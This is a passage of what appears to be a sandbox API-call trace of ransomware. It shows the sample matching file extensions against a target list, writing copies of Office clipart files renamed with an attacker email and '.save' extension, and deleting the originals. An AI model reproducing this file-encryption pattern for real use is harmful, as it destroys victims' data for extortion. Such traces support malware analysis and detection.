Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0173.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0173.373] lstrlenW (lpString=".doc") returned 4 [0173.373] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0173.373] lstrlenW (lpString=".docx") returned 5 [0173.374] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0173.374] lstrlenW (lpString=".pdf") returned 4 [0173.374] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0173.374] lstrlenW (lpString=".xls") returned 4 [0173.374] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0173.374] lstrlenW (lpString=".xlsx") returned 5 [0173.374] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0173.374] lstrlenW (lpString=".ppt") returned 4 [0173.374] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0173.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0173.374] lstrlenW (lpString=".zip") returned 4 [0173.374] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0173.374] lstrlenW (lpString=".rar") returned 4 [0173.374] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0173.374] lstrlenW (lpString=".bz2") returned 4 [0173.374] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0173.374] lstrlenW (lpString=".7z") returned 3 [0173.374] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0173.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0173.374] lstrlenW (lpString=".dbf") returned 4 [0173.374] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0173.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0173.374] lstrlenW (lpString=".1cd") returned 4 [0173.374] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0173.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0173.374] lstrlenW (lpString=".jpg") returned 4 [0173.374] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0173.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0173.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0173.374] lstrlenW (lpString=".doc") returned 4 [0173.374] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0173.374] lstrlenW (lpString=".docx") returned 5 [0173.375] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0173.375] lstrlenW (lpString=".pdf") returned 4 [0173.375] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0173.375] lstrlenW (lpString=".xls") returned 4 [0173.375] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0173.375] lstrlenW (lpString=".xlsx") returned 5 [0173.375] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0173.375] lstrlenW (lpString=".ppt") returned 4 [0173.375] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0173.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0173.375] lstrlenW (lpString=".zip") returned 4 [0173.375] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0173.375] lstrlenW (lpString=".rar") returned 4 [0173.375] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0173.375] lstrlenW (lpString=".bz2") returned 4 [0173.375] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0173.375] lstrlenW (lpString=".7z") returned 3 [0173.375] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0173.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0173.375] lstrlenW (lpString=".dbf") returned 4 [0173.375] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0173.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0173.375] lstrlenW (lpString=".1cd") returned 4 [0173.375] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0173.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID") returned 67 [0173.375] lstrlenW (lpString=".jpg") returned 4 [0173.375] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0173.375] lstrcmpiW (lpString1=".MID", lpString2=".save") returned -1 [0173.376] lstrlenW (lpString="OUTDR_01.MID") returned 12 [0173.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\outdr_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510 [0173.377] GetFileSizeEx (in: hFile=0x510, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=6644) returned 1 [0173.377] CloseHandle (hObject=0x510) returned 1 [0173.379] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\outdr_01.mid")) returned 0x220 [0173.379] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\outdr_01.mid.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0173.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\outdr_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510 [0173.380] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0173.380] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0173.380] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\outdr_01.mid.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0173.380] GetLastError () returned 0x0 [0173.381] ReadFile (in: hFile=0x510, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x19f4, lpOverlapped=0x0) returned 1 [0173.382] WriteFile (in: hFile=0x540, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x1a00, lpOverlapped=0x0) returned 1 [0173.383] ReadFile (in: hFile=0x510, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0173.383] WriteFile (in: hFile=0x540, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0xec, lpOverlapped=0x0) returned 1 [0173.383] SetEndOfFile (hFile=0x540) returned 1 [0173.383] CloseHandle (hObject=0x540) returned 1 [0173.384] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0173.384] SetEndOfFile (hFile=0x510) returned 1 [0173.386] CloseHandle (hObject=0x510) returned 1 [0173.386] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0173.387] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\outdr_01.mid")) returned 1 [0173.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0173.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0173.387] lstrlenW (lpString=".doc") returned 4 [0173.387] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0173.387] lstrlenW (lpString=".docx") returned 5 [0173.387] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0173.387] lstrlenW (lpString=".pdf") returned 4 [0173.387] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0173.387] lstrlenW (lpString=".xls") returned 4 [0173.388] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0173.388] lstrlenW (lpString=".xlsx") returned 5 [0173.388] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0173.388] lstrlenW (lpString=".ppt") returned 4 [0173.388] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0173.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0173.388] lstrlenW (lpString=".zip") returned 4 [0173.388] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0173.388] lstrlenW (lpString=".rar") returned 4 [0173.388] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0173.388] lstrlenW (lpString=".bz2") returned 4 [0173.388] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0173.388] lstrlenW (lpString=".7z") returned 3 [0173.388] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0173.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0173.388] lstrlenW (lpString=".dbf") returned 4 [0173.388] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0173.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0173.388] lstrlenW (lpString=".1cd") returned 4 [0173.388] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0173.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0173.388] lstrlenW (lpString=".jpg") returned 4 [0173.388] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0173.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0173.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0173.388] lstrlenW (lpString=".doc") returned 4 [0173.388] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0173.388] lstrlenW (lpString=".docx") returned 5 [0173.388] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0173.388] lstrlenW (lpString=".pdf") returned 4 [0173.388] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0173.388] lstrlenW (lpString=".xls") returned 4 [0173.389] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0173.389] lstrlenW (lpString=".xlsx") returned 5 [0173.389] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0173.389] lstrlenW (lpString=".ppt") returned 4 [0173.389] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0173.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0173.389] lstrlenW (lpString=".zip") returned 4 [0173.389] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0173.389] lstrlenW (lpString=".rar") returned 4 [0173.389] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0173.389] lstrlenW (lpString=".bz2") returned 4 [0173.389] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0173.389] lstrlenW (lpString=".7z") returned 3 [0173.389] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0173.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0173.389] lstrlenW (lpString=".dbf") returned 4 [0173.389] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0173.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0173.389] lstrlenW (lpString=".1cd") returned 4 [0173.389] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0173.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0173.389] lstrlenW (lpString=".jpg") returned 4 [0173.389] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0173.389] lstrcmpiW (lpString1=".MID", lpString2=".save") returned -1 [0173.389] lstrlenW (lpString="PAPER_01.MID") returned 12 [0173.389] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\paper_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510 [0173.391] GetFileSizeEx (in: hFile=0x510, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=6763) returned 1 [0173.391] CloseHandle (hObject=0x510) returned 1 [0173.391] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\paper_01.mid")) returned 0x220 [0173.391] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\paper_01.mid.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0173.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\paper_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510 [0173.392] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0173.392] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0173.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\paper_01.mid.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0173.393] GetLastError () returned 0x0 [0173.393] ReadFile (in: hFile=0x510, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x1a6b, lpOverlapped=0x0) returned 1 [0173.394] WriteFile (in: hFile=0x540, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x1a70, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x1a70, lpOverlapped=0x0) returned 1 [0173.396] ReadFile (in: hFile=0x510, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0173.396] WriteFile (in: hFile=0x540, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0xec, lpOverlapped=0x0) returned 1 [0173.396] SetEndOfFile (hFile=0x540) returned 1 [0173.396] CloseHandle (hObject=0x540) returned 1 [0173.396] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0173.396] SetEndOfFile (hFile=0x510) returned 1 [0173.400] CloseHandle (hObject=0x510) returned 1 [0173.400] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0173.401] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\paper_01.mid")) returned 1 [0173.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0173.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0173.402] lstrlenW (lpString=".doc") returned 4 [0173.402] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0173.402] lstrlenW (lpString=".docx") returned 5 [0173.402] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0173.402] lstrlenW (lpString=".pdf") returned 4 [0173.402] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0173.402] lstrlenW (lpString=".xls") returned 4 [0173.402] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0173.402] lstrlenW (lpString=".xlsx") returned 5 [0173.402] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0173.402] lstrlenW (lpString=".ppt") returned 4 [0173.402] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0173.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0173.402] lstrlenW (lpString=".zip") returned 4 [0173.402] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0173.402] lstrlenW (lpString=".rar") returned 4 [0173.402] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0173.402] lstrlenW (lpString=".bz2") returned 4 [0173.402] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0173.402] lstrlenW (lpString=".7z") returned 3 [0173.402] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0173.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0173.403] lstrlenW (lpString=".dbf") returned 4 [0173.403] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0173.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0173.403] lstrlenW (lpString=".1cd") returned 4 [0173.403] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0173.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0173.403] lstrlenW (lpString=".jpg") returned 4 [0173.403] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0173.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0173.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0173.403] lstrlenW (lpString=".doc") returned 4 [0173.403] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0173.403] lstrlenW (lpString=".docx") returned 5 [0173.403] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0173.403] lstrlenW (lpString=".pdf") returned 4 [0173.403] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0173.403] lstrlenW (lpString=".xls") returned 4 [0173.403] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0173.403] lstrlenW (lpString=".xlsx") returned 5 [0173.403] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0173.403] lstrlenW (lpString=".ppt") returned 4 [0173.403] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0173.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0173.403] lstrlenW (lpString=".zip") returned 4 [0173.403] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0173.403] lstrlenW (lpString=".rar") returned 4 [0173.403] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0173.404] lstrlenW (lpString=".bz2") returned 4 [0173.404] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0173.404] lstrlenW (lpString=".7z") returned 3 [0173.404] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0173.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0173.404] lstrlenW (lpString=".dbf") returned 4 [0173.404] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0173.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0173.404] lstrlenW (lpString=".1cd") returned 4 [0173.404] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0173.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0173.404] lstrlenW (lpString=".jpg") returned 4 [0173.404] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0173.404] lstrcmpiW (lpString1=".MID", lpString2=".save") returned -1 [0173.404] lstrlenW (lpString="PARNT_01.MID") returned 12 [0173.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510 [0173.405] GetFileSizeEx (in: hFile=0x510, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=6491) returned 1 [0173.405] CloseHandle (hObject=0x510) returned 1 [0173.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_01.mid")) returned 0x220 [0173.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_01.mid.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0173.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510 [0173.406] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0173.406] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0173.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_01.mid.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0173.407] GetLastError () returned 0x0 [0173.407] ReadFile (in: hFile=0x510, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x195b, lpOverlapped=0x0) returned 1 [0173.641] WriteFile (in: hFile=0x540, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x1960, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x1960, lpOverlapped=0x0) returned 1 [0173.642] ReadFile (in: hFile=0x510, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0173.642] WriteFile (in: hFile=0x540, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0xec, lpOverlapped=0x0) returned 1 [0173.643] SetEndOfFile (hFile=0x540) returned 1 [0173.643] CloseHandle (hObject=0x540) returned 1 [0173.643] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0173.643] SetEndOfFile (hFile=0x510) returned 1 [0173.646] CloseHandle (hObject=0x510) returned 1 [0173.646] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0174.302] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_01.mid")) returned 1 [0174.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0174.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0174.713] lstrlenW (lpString=".doc") returned 4 [0174.713] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0174.713] lstrlenW (lpString=".docx") returned 5 [0174.713] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0174.713] lstrlenW (lpString=".pdf") returned 4 [0174.713] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0174.714] lstrlenW (lpString=".xls") returned 4 [0174.714] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0174.714] lstrlenW 